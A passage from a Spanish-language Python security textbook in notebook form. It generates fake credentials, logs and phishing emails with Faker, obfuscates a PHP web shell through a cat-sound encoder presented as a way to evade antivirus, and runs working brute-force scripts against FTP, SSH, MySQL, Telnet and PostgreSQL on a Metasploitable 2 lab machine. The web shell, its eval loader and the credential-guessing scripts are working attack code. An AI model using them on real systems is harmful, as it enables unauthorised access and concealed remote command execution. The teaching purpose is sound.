obviamente, que sean [Link] lo podemos usar en un honeypot o como señuelo.

In [139]:
from faker import Faker
import random

fake = Faker()

def generar_usuarios_falsos(n=10):
usuarios = []
for _ in range(n):
# username ejemplo tipo jrojas o mvalenzuela
nombre = fake.first_name().lower()

183
apellido = fake.last_name().lower()
username = (nombre[0] + apellido)[:10]

# password mala a propósito para honeypot


base = [Link]([nombre, apellido, "password", "admin"])
numero = str([Link](1, 999))
pwd = base + numero

[Link]((username, pwd))
return usuarios

creds = generar_usuarios_falsos(15)

print("[-] Usuarios y Claves falsas: \n")


for u, p in creds:
print(f"{u}:{p}")

[-] Usuarios y Claves falsas:

dellison:admin955
alove:password686
jfreeman:freeman384
bcampbell:password134
asnyder:admin397
jbrady:brady933
jhernandez:hernandez231
pmendez:mendez403
acontreras:admin439
nsmith:password976
dvelasquez:daniel288
agutierrez:password361
jmartinez:jackson706
lberry:berry695
jrussell:password312

Generar logs falsos de SSH ([Link] style) con IPs fake


Para el segundo ejercicio, simularemos intentos de login SSH desde IPs inventadas, esto nos sirve para
pruebas de regex, parsers, SIEM, etc. El ejemplo está bastante claro , por lo evito los comentarios en el
código, si ya leiste y practicaste los ejercicios desde el inicio del libro, a esta altura, los comentarios estan
demás y se valora la limpieza cuando no es necesario.

In [117]:
from faker import Faker
import random
from datetime import datetime, timedelta

fake = Faker()

usuarios_objetivo = ["root", "admin", "ubuntu", "deploy"]

184
resultados = ["Failed password", "Invalid user", "Accepted password"]

def generar_logs_ssh(n=20):
ahora = [Link]()
logs = []

for _ in range(n):
ip = fake.ipv4_public()
usuario = [Link](usuarios_objetivo)
resultado = [Link](resultados)
fecha = (ahora - timedelta(minutes=[Link](0, 300))).strftime("%b %d
%H:%M:%S")

linea = f"{fecha} servidor-ssh sshd[1234]: {resultado} for {usuario} from {ip}


port 54321 ssh2"
[Link](linea)

return logs

logs = generar_logs_ssh(15)

print("Logs SSH falsos:\n")


for l in logs:
print(l)

Logs SSH falsos:

Nov 23 12:26:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 14:37:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 12:28:14 servidor-ssh sshd[1234]: Invalid user for ubuntu from [Link]
port 54321 ssh2
Nov 23 15:21:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 14:05:14 servidor-ssh sshd[1234]: Accepted password for ubuntu from
[Link] port 54321 ssh2
Nov 23 12:17:14 servidor-ssh sshd[1234]: Accepted password for admin from
[Link] port 54321 ssh2
Nov 23 14:55:14 servidor-ssh sshd[1234]: Invalid user for ubuntu from [Link]
port 54321 ssh2
Nov 23 15:11:14 servidor-ssh sshd[1234]: Failed password for ubuntu from [Link]
port 54321 ssh2
Nov 23 12:37:14 servidor-ssh sshd[1234]: Accepted password for admin from
[Link] port 54321 ssh2
Nov 23 11:54:14 servidor-ssh sshd[1234]: Accepted password for root from
[Link] port 54321 ssh2
Nov 23 12:26:14 servidor-ssh sshd[1234]: Invalid user for ubuntu from [Link]
port 54321 ssh2
Nov 23 11:37:14 servidor-ssh sshd[1234]: Invalid user for deploy from [Link]
port 54321 ssh2
Nov 23 12:19:14 servidor-ssh sshd[1234]: Failed password for deploy from [Link]
port 54321 ssh2

185
Nov 23 11:39:14 servidor-ssh sshd[1234]: Invalid user for admin from [Link] port
54321 ssh2
Nov 23 13:35:14 servidor-ssh sshd[1234]: Accepted password for admin from [Link]
port 54321 ssh2

Generar logs HTTP falsos ([Link]) con URLs y user-agents


fake
Este ejercicio es ideal para probar detecciones de escaneo de paths , bots , patrones raros, etc.

In [130]:
from faker import Faker
import random
from datetime import datetime

fake = Faker()

metodos = ["GET", "POST", "HEAD"]


paths = ["/", "/login", "/admin", "/api/v1/users", "/[Link]", "/.git/HEAD"]
status_codes = [200, 301, 302, 401, 403, 404, 500]

def generar_logs_http(n=20):
logs = []
for _ in range(n):
ip = fake.ipv4_public()
fecha = [Link]().strftime("%d/%b/%Y:%H:%M:%S +0000")
metodo = [Link](metodos)
path = [Link](paths)
código = [Link](status_codes)
size = [Link](200, 5000)
ua = fake.user_agent()

linea = f'{ip} - - [{fecha}] "{metodo} {path} HTTP/1.1" {código} {size} "-"


"{ua}"'
[Link](linea)
return logs

logs = generar_logs_http(10)

print("Logs HTTP falsos:\n")


for l in logs:
print(l)

Logs HTTP falsos:

[Link] - - [23/Nov/2025:23:19:33 +0000] "HEAD /api/v1/users HTTP/1.1" 200 691


"-" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 4.0; Trident/5.0)"
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST /api/v1/users HTTP/1.1" 403 3295
"-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.0; Trident/3.1)"

186
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST /admin HTTP/1.1" 200 2539 "-"
"Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 10.0; Trident/4.1)"
[Link] - - [23/Nov/2025:23:19:33 +0000] "GET /api/v1/users HTTP/1.1" 302 2910
"-" "Opera/9.87.(X11; Linux x86_64; kk-KZ) Presto/2.9.186 Version/10.00"
[Link] - - [23/Nov/2025:23:19:33 +0000] "HEAD /admin HTTP/1.1" 301 3688 "-"
"Mozilla/5.0 (iPad; CPU iPad OS 11_4_1 like Mac OS X) AppleWebKit/531.0 (KHTML, like
Gecko) CriOS/[Link] Mobile/24A876 Safari/531.0"
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST / HTTP/1.1" 200 2709 "-"
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 11.0; Trident/4.1)"
[Link] - - [23/Nov/2025:23:19:33 +0000] "GET /api/v1/users HTTP/1.1" 302 2916
"-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/536.1 (KHTML, like Gecko)
Chrome/[Link] Safari/536.1"
[Link] - - [23/Nov/2025:23:19:33 +0000] "POST /[Link] HTTP/1.1" 404 4375
"-" "Mozilla/5.0 (Windows NT 5.0) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/[Link] Safari/532.1"
[Link] - - [23/Nov/2025:23:19:33 +0000] "HEAD /admin HTTP/1.1" 500 1399 "-"
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_12_4 rv:3.0; mr-IN) AppleWebKit/531.44.1
(KHTML, like Gecko) Version/5.0.5 Safari/531.44.1"
[Link] - - [23/Nov/2025:23:19:33 +0000] "GET /admin HTTP/1.1" 500 2105 "-"
"Opera/9.88.(X11; Linux x86_64; ky-KG) Presto/2.9.160 Version/11.00"

Generar clientes falsos para un honeypot (IPs + países +


nombres)
Acá podemos simular atacantes o clientes que se conectan a tu honeypot desde distintas partes del mundo.

In [131]:
from faker import Faker
import random

fake = Faker()

def generar_clientes_falsos(n=10):
clientes = []
for _ in range(n):
ip = fake.ipv4_public()
nombre = [Link]()
pais = [Link]()
so = [Link](["Windows 10", "Windows 11", "Ubuntu", "Debian", "Android",
"iOS"])
[Link]({
"ip": ip,
"nombre": nombre,
"pais": pais,
"so": so
})
return clientes

clientes = generar_clientes_falsos(8)

for c in clientes:

187
print(c)

{'ip': '[Link]', 'nombre': 'Brian Parrish', 'pais': 'Azerbaijan', 'so':


'Android'}
{'ip': '[Link]', 'nombre': 'Kevin Elliott', 'pais': 'Montserrat', 'so':
'Windows 11'}
{'ip': '[Link]', 'nombre': 'Sean Haynes', 'pais': 'Pakistan', 'so': 'Ubuntu'}
{'ip': '[Link]', 'nombre': 'Gloria Davis', 'pais': 'Slovakia (Slovak Republic)',
'so': 'Android'}
{'ip': '[Link]', 'nombre': 'Mrs. Kathryn Bullock', 'pais': 'Libyan Arab
Jamahiriya', 'so': 'Debian'}
{'ip': '[Link]', 'nombre': 'Nicholas Phillips', 'pais': 'Zambia', 'so':
'Android'}
{'ip': '[Link]', 'nombre': 'Travis Frazier', 'pais': 'Congo', 'so': 'Windows
10'}
{'ip': '[Link]', 'nombre': 'Allison Parrish', 'pais': 'Guadeloupe', 'so':
'Ubuntu'}

Generar correos y dominios falsos para probar filtros de


phishing
Puedes usar Faker para inventar correos sospechosos y dominios medios truchos.

In [132]:
from faker import Faker
import random

fake = Faker()

dominios_sospechosos = [
"[Link]",
"[Link]",
"[Link]",
"[Link]"
]

def generar_correos_phishing(n=10):
correos = []
for _ in range(n):
nombre = [Link]()
remitente = [Link]()
dominio_fake = [Link](dominios_sospechosos)
asunto = [Link]([
"Actualiza tu contraseña ahora",
"Actividad sospechosa en tu cuenta",
"Tu cuenta será bloqueada",
"Verifica tu identidad"
])
enlace = f"[Link]

188
[Link]({
"nombre": nombre,
"from": remitente,
"asunto": asunto,
"link": enlace
})
return correos

correos = generar_correos_phishing(5)

for c in correos:
print(f"Para: {c['nombre']}")
print(f"From: {c['from']}")
print(f"Asunto: {c['asunto']}")
print(f"Link: {c['link']}\n")

Para: Angela Knight


From: daniel41@[Link]
Asunto: Actualiza tu contraseña ahora
Link: [Link]

Para: Edward Boyd


From: imorgan@[Link]
Asunto: Tu cuenta será bloqueada
Link: [Link]

Para: Mark Edwards


From: ashley22@[Link]
Asunto: Verifica tu identidad
Link: [Link]

Para: Jennifer Perry


From: gonzaleztimothy@[Link]
Asunto: Verifica tu identidad
Link: [Link]

Para: Anthony Hopkins


From: gwilson@[Link]
Asunto: Tu cuenta será bloqueada
Link: [Link]

Ofuscación de Código PHP


Este ejemplo, básicamente lo que hiciste acá, fue armar un traductor ridículamente tierno inspirado en mi
gato, que conviertes código PHP en puro miau praaau miau miau...... y después lo puedes volver a desarmar
y obtener el código original. Básicamente invente de una manera creativa mi propia forma de codificar
base64_de_gatos.

189
Lo que quiero hacer juntos y que quede como referencia, es ver como funciona un Encode y Decode de
palabras, visto de forma profesional es básicamente inventar un cifrado súper simple, uno a uno, pero
disfrazado de lenguaje gatuno. No es para seguridad real, pero seria divertido verlo en acción en alguna web
shell evadiendo antivirus, este ejemplo, es más como un juego de ofuscación simpático para aprender
técnicas desde ejemplos divertidos, tú le mandas un código y vuelve convertido en puros miau miau. Ahora,
si conoces el diccionario, puedes recuperar el código tal cual. Es como una base64 hecha por un gato.

Primero crearemos una tabla gigante de equivalencias.

Esta parte es clave, tú defines, letra por letra, qué sonido de gato reemplaza a cada carácter. Es como un
diccionario, pero gatuno.

In [108]:
import re

# diccionario de mapeo de letras y espacios a sonidos de gatos


letras_espacios_a_sonidos = {
'A': 'Miau',
'B': 'Praaau',
'C': 'Miaaaa',
'D': 'MiauMiau',
'E': 'Miaup',
'F': 'Miauh',
'G': 'Miauo',
'H': 'Miaum',
'I': 'Miaub',
'J': 'Miaur',
'K': 'Miaue',
'L': 'Miauc',
'M': 'Miaun',
'N': 'Miaus',
'O': 'Miaul',
'P': 'Niauwwwww',
'Q': 'MiauNiau',
'R': 'MiauMiauMiau',
'S': 'MiauMiauMiauMiau',
'T': 'MiauMiauMiauMiauMiau',
'U': 'MiauMiauMiauMiauMiauMiau',
'V': 'MiauMiauMiauMiauMiauMiauMiau',
'W': 'MiauMiauMiauMiauMiauMiauMiauMiau',
'X': 'MiauMiauMiauMiauMiauMiauMiauMiauMiau',
'Y': 'MiauMiauMiauMiauMiauMiauMiauMiauMiauMiau',
'Z': 'MiauMiauMiauMiauMiauMiauMiauMiauMiauMiauMiau',
'a': 'miau$',
'b': 'praaau$',
'c': 'miaaaa$',
'd': 'miauMiau$',
'e': 'miaup$',
'f': 'miauh$',
'g': 'miauo$',

190
'h': 'miaum$',
'i': 'miaub$',
'j': 'miaur$',
'k': 'miaue$',
'l': 'miauc$',
'm': 'miaun$',
'n': 'miaus$',
'o': 'miaul$',
'p': 'niauwwwww$',
'q': 'miauNiau$',
'r': 'miauMiauMiau$',
's': 'miauMiauMiauMiau$',
't': 'miauMiauMiauMiauMiau$',
'u': 'miauMiauMiauMiauMiauMiau$',
'v': 'miauMiauMiauMiauMiauMiauMiau$',
'w': 'miauMiauMiauMiauMiauMiauMiauMiau$',
'x': 'miauMiauMiauMiauMiauMiauMiauMiauMiau$',
'y': 'miauMiauMiauMiauMiauMiauMiauMiauMiauMiau$',
'z': 'miauMiauMiauMiauMiauMiauMiauMiauMiauMiauMiau$',
' ': 'Miauxxhhhh',
'$': 'Miauxxgg',
'<': 'grrrrrssm',
'>': 'niania',
'_': 'brrraaa',
'(': 'nnniaaa',
')': 'waaaaawaaah',
'[': 'nnniaaaw',
']': 'waaaaawaaahw',
'{': 'nnniaaahh',
'}': 'waaaaa',
'"': 'niiaahh',
'?': 'rauuuuuuuul',
';': 'prrrrrrrrrrrrrrrrrr',
':': 'prrrrrrrrrrrrrrrrrraa',
'.': 'prrrrrrrrrrrrrrrrrraaww',
'\n': '\n',
'=': 'niaaaaauuwwwwwwwwwww',
"'": 'mauhhhhhh'
}

La función basesesentaygatosEncode lo que hace es súper simple, toma cada letra del texto y busca su
sonido en la tabla, si lo encuentra, lo agrega a una lista. Es decir, tomas el string con sonidos y lo separas
por espacios, Luego buscas qué letra corresponde a cada sonido.

In [109]:
def basesesentaygatosEncode(codigo_php):
sonidos_gatos_transformados = []

for letra_espacio in codigo_php:


if letra_espacio in letras_espacios_a_sonidos:

191
sonidos_gatos_transformados.append(letras_espacios_a_sonidos[letra_espacio])

return ' '.join(sonidos_gatos_transformados)

Esta es la parte para que la cosa no quede solo como un meme, haces la inversa a la función anterior, tomas
el string con sonidos y lo separas por espacios, luego buscas qué letra corresponde a cada sonido, es como
un base64 casero pero con gatos en vez de bytes.

In [110]:
def basesesentaygatosDecode(sonidos_gatos_transformados):
sonidos_revertidos = sonidos_gatos_transformados.split()
codigo_php_revertido = ''

for sonido in sonidos_revertidos:


for letra_espacio, sonido_letra_espacio in letras_espacios_a_sonidos.items():
if sonido == sonido_letra_espacio:
codigo_php_revertido += letra_espacio
break

return codigo_php_revertido

Ahora para probar la función. le pasamos un código PHP que tiene una webshell típica
(system($_GET['cmd'])) y lo convertimos a puro miau-miau.

In [111]:
codigo_php = """
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
"""

Aquí, aplicamos el encode de basesesentaygato

In [112]:
# imprimir código PHP encode cat
print("[>]Code to CAT :")
transformados = basesesentaygatosEncode(codigo_php)
print(transformados)

[>]Code to CAT :

grrrrrssm rauuuuuuuul niauwwwww$ miaum$ niauwwwww$

192
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh miaub$ miauh$ nnniaaa miaub$
miauMiauMiauMiau$ miauMiauMiauMiau$ miaup$ miauMiauMiauMiauMiau$ nnniaaa Miauxxgg
brrraaa Miauo Miaup MiauMiauMiauMiauMiau nnniaaaw mauhhhhhh miaaaa$ miaun$ miauMiau$
mauhhhhhh waaaaawaaahw waaaaawaaah waaaaawaaah
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh nnniaaahh
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh
Miauxxhhhh miauMiauMiauMiau$ miauMiauMiauMiauMiauMiauMiauMiauMiauMiau$
miauMiauMiauMiau$ miauMiauMiauMiauMiau$ miaup$ miaun$ nnniaaa Miauxxgg brrraaa Miauo
Miaup MiauMiauMiauMiauMiau nnniaaaw mauhhhhhh miaaaa$ miaun$ miauMiau$ mauhhhhhh
waaaaawaaahw waaaaawaaah prrrrrrrrrrrrrrrrrr
Miauxxhhhh Miauxxhhhh Miauxxhhhh Miauxxhhhh waaaaa
rauuuuuuuul niania

Aquí, decodificamos a lenguaje humano

In [113]:
# imprimir código PHP revertido a humano
revertido = basesesentaygatosDecode(transformados)
print("\n[<]Code to Human :\n")
print(revertido)

[<]Code to Human :

<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?>

La gracia de este ejercicio, es que el ida y vuelta funciona perfecto, lo decodificas y te queda exactamente el
mismo PHP.

Para que este encode funcione en un servidor Apache con PHP se podría usar de esta manera que mostraré
a continuación, obviamente faltan unas cosas, pero quien ya ha realzado ofuscacionees en productivo,
entenderá la siguiente línea de codigo de cómo se aplica en casos reales:

Ejemplo:

<? eval(basesesentaygatosDecode($sonidosdegato)); ?>

Metasploitable 2
Voy a usar Metasploitable 2 porque es una máquina hecha especialmente para practicar ataques de forma
segura. Es un entorno controlado, aislado y sin conexión a Internet, así que no afecta a nadie y no estoy
incentivando ataques reales.

193
La idea es mostrar cómo funcionan cosas como la fuerza bruta en SSH o FTP, pero solo dentro de esta
máquina vulnerable que fue creada para aprender.

Metasploitable trae servicios débiles a propósito, con contraseñas malas, puertos abiertos y configuraciones
antiguas. Eso me permite explicar de forma práctica cómo un atacante prueba muchas contraseñas, cómo se
ve en los logs, y qué controles deberíamos tener en producción para evitarlo.

En resumen, es como tener un “muñeco de práctica” en ciberseguridad: lo pruebas, lo rompes y aprendes,


sin dañar a nadie.

Descarga del sitio oficial: [Link]

Servicios típicos vulnerables en Metasploitable 2 para fuerza bruta

Metasploitable tiene varios servicios expuestos:

194
Credenciales por defecto - Metasploitable 2

Diagrama, próximos ejemplos

Fuerza Bruta FTP


En este ejercicio lo que quiero que entiendas es que FTP es súper básico para validar usuarios. Tú te
conectas al puerto, le dices ... oye, soy tal usuario... y luego le mandas una contraseña. Si está mala te lo
dice inmediatamente, y si está buena te deja pasar.

El script lo único que hace es repetir ese proceso con distintas combinaciones hasta que una funcione. Nada
más que eso. Aquí el objetivo es que veas lo simple que es romper un servicio cuando tiene contraseñas
débiles, como pasa en Metasploitable.

In [5]:
from ftplib import FTP
import sys
# FTP server
ftp_host = "[Link]" # IP de Metasploitable

195
ftp_user =
["msfadmin","user","service","postgres","mysql","tomcat","admin","guest","ftp","vagrant
","msf","backdoor"]
ftp_passwd =
["backdoor","user","service","postgres","msfadmin","mysql","tomcat","admin","guest","ft
p","vagrant","msf"]
found = False
for user in ftp_user:
for pwd in ftp_passwd:
try:
with FTP(ftp_host) as ftp: # conectar a FTP server
[Link](user=user, passwd=pwd)
print(f" [ X] Login exitoso a {ftp_host} con {user} & password {pwd}")
found = True
break # si encuentra una entrada, se sale del primer bucle
except Exception as e:
print(f"> Error :Ocurrió un error: {e}")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontro ninguna combinación valida.")

> Error :Ocurrió un error: 530 Login incorrect.


> Error :Ocurrió un error: 530 Login incorrect.
> Error :Ocurrió un error: 530 Login incorrect.
> Error :Ocurrió un error: 530 Login incorrect.
[ X] Login exitoso a [Link] con msfadmin & password msfadmin

In [6]:
from ftplib import FTP

ftp = FTP("[Link]") # IP de Metasploitable


[Link]("anonymous", "") # user y password vacío

print("[->]Conectado por FTP Anonymous")


[Link]("LIST") # listar archivos

[Link]()

[->]Conectado por FTP Anonymous

Out[6]:
'221 Goodbye.'

196
Fuerza Bruta SSH
SSH es más seguro que FTP, pero para el ejercicio la mecánica es la misma, probar usuario y clave hasta
que alguna calce. La gracia acá es que veas cómo responde el sistema cuando la clave está mala
(“permission denied”) y qué pasa cuando está buena (te entrega el prompt).

La idea del ejercicio no es enseñarte a atacar, sino que entiendas por qué contraseñas malas son un regalo
para cualquier atacante, incluso en servicios modernos como SSH.

In [7]:
!pip install paramiko

Requirement already satisfied: paramiko in c:\users\starh\anaconda3\lib\site-packages


(4.0.0)
Requirement already satisfied: bcrypt>=3.2 in
c:\users\starh\anaconda3\lib\site-packages (from paramiko) (4.3.0)
Requirement already satisfied: cryptography>=3.3 in
c:\users\starh\anaconda3\lib\site-packages (from paramiko) (44.0.1)
Requirement already satisfied: invoke>=2.0 in
c:\users\starh\anaconda3\lib\site-packages (from paramiko) (2.2.1)
Requirement already satisfied: pynacl>=1.5 in
c:\users\starh\anaconda3\lib\site-packages (from paramiko) (1.5.0)
Requirement already satisfied: cffi>=1.12 in c:\users\starh\anaconda3\lib\site-packages
(from cryptography>=3.3->paramiko) (1.17.1)
Requirement already satisfied: pycparser in c:\users\starh\anaconda3\lib\site-packages
(from cffi>=1.12->cryptography>=3.3->paramiko) (2.21)

In [8]:
import paramiko

# SSH server
hostname = "[Link]" # IP de Metasploitable
ssh_user =
["msfadmin","user","service","postgres","mysql","tomcat","admin","guest","ftp","vagrant
","msf","backdoor"]
ssh_passwd =
["backdoor","user","service","postgres","msfadmin","mysql","tomcat","admin","guest","ft
p","vagrant","msf"]

ssh = [Link]()
ssh.set_missing_host_key_policy([Link]())

for user in ssh_user:


for pwd in ssh_passwd:
try:
[Link](hostname, username=user, password=pwd) # se hace el login y
password
print(f" [ X ] Login exitoso a {ftp_host} con {user} & passwd {pwd}")

197
stdin, stdout, stderr = ssh.exec_command("ls -l") # se lanza un comando
para listar directorio
print(" > Command output: ")
for line in stdout:
print([Link]())
found = True
break # si encuentra una entrada, se sale del primer bucle
except [Link]:
print(" > Error de autenticación..")
except [Link] as e:
print(f"No se pudo lograr conexión: {e}")
except Exception as e:
print(f"Error: : {e}")
finally:
[Link]()
print(" > Se cerró la conexión a SSH. \n")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontró ninguna combinación válida.")

> Error de autenticación..


> Se cerró la conexión a SSH.

> Error de autenticación..


> Se cerró la conexión a SSH.

> Error de autenticación..


> Se cerró la conexión a SSH.

> Error de autenticación..


> Se cerró la conexión a SSH.

[ X ] Login exitoso a [Link] con msfadmin & passwd msfadmin


> Command output:
total 4
drwxr-xr-x 6 msfadmin msfadmin 4096 2010-04-27 23:44 vulnerable
> Se cerró la conexión a SSH.

Fuerza Bruta MySQL


En MySQL la lógica no cambia mucho. Tú intentas conectarte con ciertas credenciales, y MySQL te dice si te
deja entrar o no. El ejercicio consiste en repetir esos intentos hasta encontrar una combinación correcta.

Aquí quiero que entiendas que una base de datos expuesta con claves débiles es tan vulnerable como un
FTP, aunque por dentro use cosas más complejas.

In [9]:

198
!pip install mysql-connector-python

Requirement already satisfied: mysql-connector-python in


c:\users\starh\anaconda3\lib\site-packages (9.5.0)

In [84]:
import [Link]
hostname = "[Link]" # IP de Metasploitable
_user =
["root","user","msfadmin","mysql","service","postgres","tomcat","admin","guest","ftp","
vagrant","msf","backdoor"]
_passwd =
["mysql","msfadmin","","backdoor","user","service","postgres","tomcat","admin","guest",
"ftp","vagrant","msf"]
found = False
for usr in _user:
for pwd in _passwd:
try:
connection = [Link](host=hostname,user=usr,
password=pwd,ssl_disabled=True ) # se hace el login y password
if connection.is_connected():
print(f" [ > ] Login exitoso a {hostname} con {usr} : {pwd}")
found = True
break # si encuentra una entrada, se sale del primer bucle
except [Link] as error:
print(f" [ X ] Error a {hostname} con {usr} : {pwd}")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontro ninguna combinación valida.")

[ X ] Error a [Link] con root : mysql


[ X ] Error a [Link] con root : msfadmin
[ X ] Error a [Link] con root :
[ X ] Error a [Link] con root : backdoor
[ X ] Error a [Link] con root : user
[ X ] Error a [Link] con root : service
[ X ] Error a [Link] con root : postgres
[ X ] Error a [Link] con root : tomcat
[ X ] Error a [Link] con root : admin
[ X ] Error a [Link] con root : guest
[ X ] Error a [Link] con root : ftp
[ X ] Error a [Link] con root : vagrant
[ X ] Error a [Link] con root : msf
[ X ] Error a [Link] con user : mysql
[ X ] Error a [Link] con user : msfadmin
[ X ] Error a [Link] con user :
[ X ] Error a [Link] con user : backdoor
[ X ] Error a [Link] con user : user
[ X ] Error a [Link] con user : service
[ X ] Error a [Link] con user : postgres

199
[ X ] Error a [Link] con user : tomcat
[ X ] Error a [Link] con user : admin
[ X ] Error a [Link] con user : guest
[ X ] Error a [Link] con user : ftp
[ X ] Error a [Link] con user : vagrant
[ X ] Error a [Link] con user : msf
[ X ] Error a [Link] con msfadmin : mysql
[ X ] Error a [Link] con msfadmin : msfadmin
[ X ] Error a [Link] con msfadmin :
[ X ] Error a [Link] con msfadmin : backdoor
[ X ] Error a [Link] con msfadmin : user
[ X ] Error a [Link] con msfadmin : service
[ X ] Error a [Link] con msfadmin : postgres
[ X ] Error a [Link] con msfadmin : tomcat
[ X ] Error a [Link] con msfadmin : admin
[ X ] Error a [Link] con msfadmin : guest
[ X ] Error a [Link] con msfadmin : ftp
[ X ] Error a [Link] con msfadmin : vagrant
[ X ] Error a [Link] con msfadmin : msf
[ X ] Error a [Link] con mysql : mysql
[ X ] Error a [Link] con mysql : msfadmin
[ X ] Error a [Link] con mysql :
[ X ] Error a [Link] con mysql : backdoor
[ X ] Error a [Link] con mysql : user
[ X ] Error a [Link] con mysql : service
[ X ] Error a [Link] con mysql : postgres
[ X ] Error a [Link] con mysql : tomcat
[ X ] Error a [Link] con mysql : admin
[ X ] Error a [Link] con mysql : guest
[ X ] Error a [Link] con mysql : ftp
[ X ] Error a [Link] con mysql : vagrant
[ X ] Error a [Link] con mysql : msf
[ X ] Error a [Link] con service : mysql
[ X ] Error a [Link] con service : msfadmin
[ X ] Error a [Link] con service :
[ X ] Error a [Link] con service : backdoor
.
.
.
.
[-] No se encontró ninguna combinación válida.

Fuerza Bruta TELNET


En Telnet lo entretenido es que es tan viejo que prácticamente se entrega solo. Te pide login: y Password:, y
si no aciertas te dice “Login incorrect”.

En el ejercicio lo que hacemos es que el script espere esos textos y vaya probando usuarios y contraseñas
uno por uno. Cuando ve el símbolo de $, significa que ya entró. Es para que entiendas cómo alguien
automatiza algo que, manualmente, es súper simple.

200
Para que esto funcione debes primero entrar a tu windows, luego, se debe abrir cmd y poner este comando
para activar telnet : pkgmgr /iu:"TelnetClient"

Despues instalas la librería:

In [65]:
!pip install wexpect

Requirement already satisfied: wexpect in c:\users\starh\anaconda3\lib\site-packages


(4.0.0)
Requirement already satisfied: pywin32>=220 in
c:\users\starh\anaconda3\lib\site-packages (from wexpect) (308)
Requirement already satisfied: psutil>=5.0.0 in
c:\users\starh\anaconda3\lib\site-packages (from wexpect) (5.9.0)

In [66]:
import wexpect

def brute_force_telnet(host, users, passwords):


"""Devuelve (user, password) si encuentra credenciales OK, si no (None, None)."""
for usr in users:
for pwd in passwords:
print(f"[+] Probando {usr}:{repr(pwd)}")
session = None
try:
session = [Link](f"telnet {host}", timeout=8) # conectando al
host

# login:
[Link]("login: ") # se ingresa el usuario
[Link](usr)

# password:
[Link]("Password: ") ## se ingresa el password
[Link](pwd)

# aquí revisamos si dice 'Login incorrect' o si llegamos al prompt


'$'
idx = [Link](["Login incorrect", "\$", [Link],
[Link]])

if idx == 0:
# 'Login incorrect'
[Link]()
continue # probamos siguiente password

if idx in (2, 3):


# EOF o timeout -> algo falló en el camino
if session is not None:
[Link]()
continue

201
# idx == 1 -> vimos el prompt $, asumimos q login esta OK
[Link]("whoami") #metemos un comando
[Link]("\$")
salida = [Link]
# wexpect a veces da str, otras bytes
if isinstance(salida, bytes):
salida = [Link](errors="ignore")

print("Salida whoami:")
print(salida)

print(f"\n [ OK ] Login exitoso a {host} con usuario '{usr}' y password


'{pwd}'")
[Link]("exit")
[Link]()

# AQUI cortamos TODO y salimos de ambos for


return usr, pwd

except Exception as e:
print(f" [!] Error con {usr}:{repr(pwd)} ")
if session is not None:
try:
[Link]()
except Exception:
pass

# Si termino todos los for sin encontrar nada entonces None, None
return None, None

In [67]:
host = "[Link]" # IP de Metasploitable
users = ["msfadmin","mysql","service","postgres","tomcat","admin","guest","ftp",
"vagrant", "msf", "backdoor" , "user"]
passwords =
["mysql","backdoor","user","msfadmin","service","postgres","tomcat","admin","guest","ft
p","vagrant", "msf"]

user_ok, pwd_ok = brute_force_telnet(host, users, passwords) # aquí ejecutamos la


función

if user_ok is not None:


print(f"\n[+] Credenciales encontradas: {user_ok}:{pwd_ok}")
else:
print("\n[-] No se encontro ninguna combinación válida.")

[+] Probando msfadmin:'mysql'


[+] Probando msfadmin:'backdoor'
[+] Probando msfadmin:'user'
[+] Probando msfadmin:'msfadmin'
Salida whoami:

202
whoami msfadmin
msfadmin@metasploitable:~

[ OK ] Login exitoso a [Link] con usuario 'msfadmin' y password 'msfadmin'

[+] Credenciales encontradas: msfadmin:msfadmin

Fuerza Bruta PostgreSQL


En Postgres pasa lo mismo que en los ejercicios anteriores, la conexión te dice si se autenticó bien o si falló.
El ejercicio consiste en hacer intentos automáticos hasta que el servidor acepte uno.

La idea es que veas que, aunque sean bases de datos distintas, la forma en que se valida el acceso es
parecida, y un atacante puede automatizar eso igual que con cualquier otro servicio.

In [86]:
!pip install psycopg2-binary

Requirement already satisfied: psycopg2-binary in


c:\users\starh\anaconda3\lib\site-packages (2.9.11)

In [85]:
import psycopg2

host = "[Link]" # IP de Metasploitable


_user = ["postgres","msfadmin","mysql","service","tomcat","admin","guest","ftp",
"vagrant", "msf", "backdoor" , "user"]
_passwd =
["mysql","backdoor","user","postgres","msfadmin","service","tomcat","admin","guest","ft
p","vagrant", "msf"]

for usr in _user:


for pwd in _passwd:
try:
conn = [Link](host=hostname,user=usr,password=pwd, port="5432")
print(f" [ X ] Login exitoso a {hostname} con {usr} : {pwd}")
found = True
break # si encuentra una entrada, se sale del primer bucle
except:
print(f"[x] Error : {hostname} con {usr} : {pwd}")
if found:
# si ya encontramos una combinación valida, sales tambien del for de usuarios
break
if not found:
print("[-] No se encontro ninguna combinación valida.")

[x] Error : [Link] con postgres : mysql


[x] Error : [Link] con postgres : backdoor
[x] Error : [Link] con postgres : user

203
[ X ] Login exitoso a [Link] con postgres : postgres

Shodan
Shodan es como un buscador de dispositivos conectados a Internet, pero no busca páginas web como
Google: busca servicios, puertos abiertos, cámaras, routers, servidores, bases de datos expuestas, etc.

Referencia API: [Link]

In [517]:
!pip install --use-pep517 shodan # librería de shodan

Requirement already satisfied: shodan in c:\users\starh\anaconda3\lib\site-packages


(1.31.0)
